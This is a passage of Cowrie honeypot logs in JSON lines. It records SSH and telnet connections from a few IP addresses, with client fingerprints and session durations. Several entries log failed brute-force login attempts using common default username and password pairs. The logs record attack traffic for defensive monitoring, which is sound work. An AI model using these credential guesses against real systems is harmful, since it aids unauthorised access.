{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:54.927617Z","src_ip":"176.65.132.129","session":"88339dad6159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50436,"dst_ip":"10.17.0.5","dst_port":23,"session":"c88e4b6a172c","protocol":"telnet","message":"New connection: 152.42.224.71:50436 (10.17.0.5:23) [session: c88e4b6a172c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:56.039944Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51756,"dst_ip":"159.203.135.109","dst_port":22,"session":"60be1adb8f6d","protocol":"ssh","message":"New connection: 176.65.132.129:51756 (159.203.135.109:22) [session: 60be1adb8f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:56.789106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:56.794007Z","src_ip":"176.65.132.129","session":"60be1adb8f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:56.879568Z","src_ip":"176.65.132.129","session":"60be1adb8f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:57.130738Z","src_ip":"176.65.132.129","session":"60be1adb8f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:58.285214Z","src_ip":"176.65.132.129","session":"60be1adb8f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018699169159,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:58.440462Z","src_ip":"152.42.224.71","session":"6a5f8ce94e15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51764,"dst_ip":"159.203.135.109","dst_port":22,"session":"d87334767a53","protocol":"ssh","message":"New connection: 176.65.132.129:51764 (159.203.135.109:22) [session: d87334767a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:59.890479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:59.895868Z","src_ip":"176.65.132.129","session":"d87334767a53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:03:59.978290Z","src_ip":"176.65.132.129","session":"d87334767a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:00.225731Z","src_ip":"176.65.132.129","session":"d87334767a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:01.313213Z","src_ip":"176.65.132.129","session":"d87334767a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50446,"dst_ip":"10.17.0.5","dst_port":23,"session":"7adf53f47dbb","protocol":"telnet","message":"New connection: 152.42.224.71:50446 (10.17.0.5:23) [session: 7adf53f47dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:02.845257Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51780,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e0df09a8915","protocol":"ssh","message":"New connection: 176.65.132.129:51780 (159.203.135.109:22) [session: 7e0df09a8915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:03.166136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:03.171437Z","src_ip":"176.65.132.129","session":"7e0df09a8915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:03.259434Z","src_ip":"176.65.132.129","session":"7e0df09a8915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:03.707585Z","src_ip":"176.65.132.129","session":"7e0df09a8915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57082,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c03987fa924","protocol":"ssh","message":"New connection: 80.94.92.184:57082 (10.17.0.5:22) [session: 5c03987fa924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:04.547938Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:04.795102Z","src_ip":"176.65.132.129","session":"7e0df09a8915","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:04.801025Z","src_ip":"80.94.92.184","session":"5c03987fa924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:04.804645Z","src_ip":"80.94.92.184","session":"5c03987fa924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.39264941215515,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:05.347053Z","src_ip":"152.42.224.71","session":"c2007103fff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45344,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1301f7478c8","protocol":"ssh","message":"New connection: 176.65.132.129:45344 (159.203.135.109:22) [session: a1301f7478c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:06.674372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:06.679636Z","src_ip":"176.65.132.129","session":"a1301f7478c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:06.765994Z","src_ip":"176.65.132.129","session":"a1301f7478c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:07.014149Z","src_ip":"176.65.132.129","session":"a1301f7478c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:07.254891Z","src_ip":"80.94.92.184","session":"5c03987fa924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:08.099939Z","src_ip":"176.65.132.129","session":"a1301f7478c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:08.502820Z","src_ip":"80.94.92.184","session":"5c03987fa924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.49147629737854,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:08.909950Z","src_ip":"152.42.224.71","session":"3674609e11c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45350,"dst_ip":"159.203.135.109","dst_port":22,"session":"5535b5211844","protocol":"ssh","message":"New connection: 176.65.132.129:45350 (159.203.135.109:22) [session: 5535b5211844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:09.915661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:09.920922Z","src_ip":"176.65.132.129","session":"5535b5211844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:10.003233Z","src_ip":"176.65.132.129","session":"5535b5211844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:10.250909Z","src_ip":"176.65.132.129","session":"5535b5211844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:11.411274Z","src_ip":"176.65.132.129","session":"5535b5211844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40654,"dst_ip":"10.17.0.5","dst_port":23,"session":"f983bc4110fe","protocol":"telnet","message":"New connection: 152.42.224.71:40654 (10.17.0.5:23) [session: f983bc4110fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:11.571018Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45356,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ea62ab2c82f","protocol":"ssh","message":"New connection: 176.65.132.129:45356 (159.203.135.109:22) [session: 1ea62ab2c82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:13.167575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:13.173891Z","src_ip":"176.65.132.129","session":"1ea62ab2c82f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:13.256318Z","src_ip":"176.65.132.129","session":"1ea62ab2c82f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:13.503380Z","src_ip":"176.65.132.129","session":"1ea62ab2c82f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.474393129348755,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:13.591141Z","src_ip":"152.42.224.71","session":"3633312bf0a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:14.589708Z","src_ip":"176.65.132.129","session":"1ea62ab2c82f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.630303144454956,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:16.184911Z","src_ip":"152.42.224.71","session":"66d164769977","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56016,"dst_ip":"159.203.135.109","dst_port":22,"session":"58634c1c0f3d","protocol":"ssh","message":"New connection: 176.65.132.129:56016 (159.203.135.109:22) [session: 58634c1c0f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:16.507510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:04:16.524540Z","src_ip":"176.65.132.129","session":"58634c1c0f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","a